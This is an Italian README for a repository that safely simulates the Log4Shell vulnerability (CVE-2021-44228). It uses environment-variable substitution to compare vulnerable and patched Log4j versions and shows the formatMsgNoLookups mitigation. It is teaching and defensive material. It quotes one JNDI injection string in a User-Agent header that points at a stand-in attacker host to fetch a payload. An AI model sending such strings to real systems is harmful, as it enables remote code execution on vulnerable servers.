nikolas-charalambidis/cve-2021-44228Una semplice simulazione del famigerato problema CVE-2021-44228.
Questo repository rappresenta una simulazione semplificata del famigerato problema CVE-2021-44228.
Oltre alle proprietà di sistema e alle ricerche in altre strutture a dizionario, Apache Log4j implementa anche la funzionalità di ricerca JNDI per svariati motivi. JNDI può ottenere servizi da diversi provider di servizi, come il registro LDAP, DNS, Java RMI, ecc. JNDI stesso è un'API semplice e non sicura che non protegge da provider di servizi controllati da terze parti. Finché l'attaccante controlla un server accessibile pubblicamente tramite l'URL malevolo ed è a conoscenza di ciò che viene registrato dall'applicazione in ascolto su una specifica porta, può abusare del formato di log per indurre l'applicazione a caricare ed eseguire codice Java arbitrario tramite l'iniezione JNDI. Questo può essere trasmesso tramite header di richiesta comunemente registrati, sia in testo semplice sia in forma offuscata.
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4j è stato vulnerabile a una vulnerabilità di esecuzione remota di codice prima del rilascio della versione 2.16.0 il 13 dicembre, e gli autori meritano il mio dovuto rispetto per la loro rapida risposta.
Risorse:
La simulazione utilizza variabili d'ambiente invece di un server LDAP, e il formato di log supporta la Property substitution. Il principio non è diverso.
Sono richiesti Java 11 e Maven; tuttavia, nel repository è incluso anche il Maven Wrapper.
Il repository GitHub definisce un secret di repository PASSWORD impostato come variabile d'ambiente nel file del workflow .github/workflow/ci.yml per rendere il secret disponibile a un'azione.
Per riprodurre il problema in locale, si può usare la comunemente utilizzata variabile d'ambiente JAVA_HOME.
Il workflow compila ed esegue due applicazioni con versioni diverse di Apache Log4j, 2.14.1 e 2.16.0, ed ecco un esempio di esecuzione su GitHub Actions: Java CI #7.
Questa versione è vulnerabile all'attacco. Segui questi passaggi per riprodurre il problema:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
La variabile d'ambiente viene registrata nei log:
args[0] = C:\Program Files\Java\jdk-11.0.11
Ecco uno screenshot dell'azione GitHub, per il caso in cui l'esecuzione effettiva venga rimossa automaticamente:
Nota che se provi a stampare segreti nel log, GitHub li oscura automaticamente e i valori vengono mascherati e mostrati come ***.
La proprietà è stata comunque sostituita.
Come soluzione temporanea e parziale viene indicato di aggiungere il parametro JVM -Dlog4j2.formatMsgNoLookups=True; è quindi necessario riavviare tutti i nodi dell'applicazione.
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
Non avviene alcuna sostituzione della proprietà:
args[0] = ${env:JAVA_HOME:-}
Ecco di nuovo uno screenshot da GitHub Actions:
Il problema è stato corretto in Log4j 2.12.2 (Java 7) e Log4j 2.16.0 (Java 8) dal team di sicurezza di Log4j.
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
Non avviene alcuna sostituzione della proprietà:
args[0] = ${env:JAVA_HOME:-}
Ecco di nuovo uno screenshot da GitHub Actions:
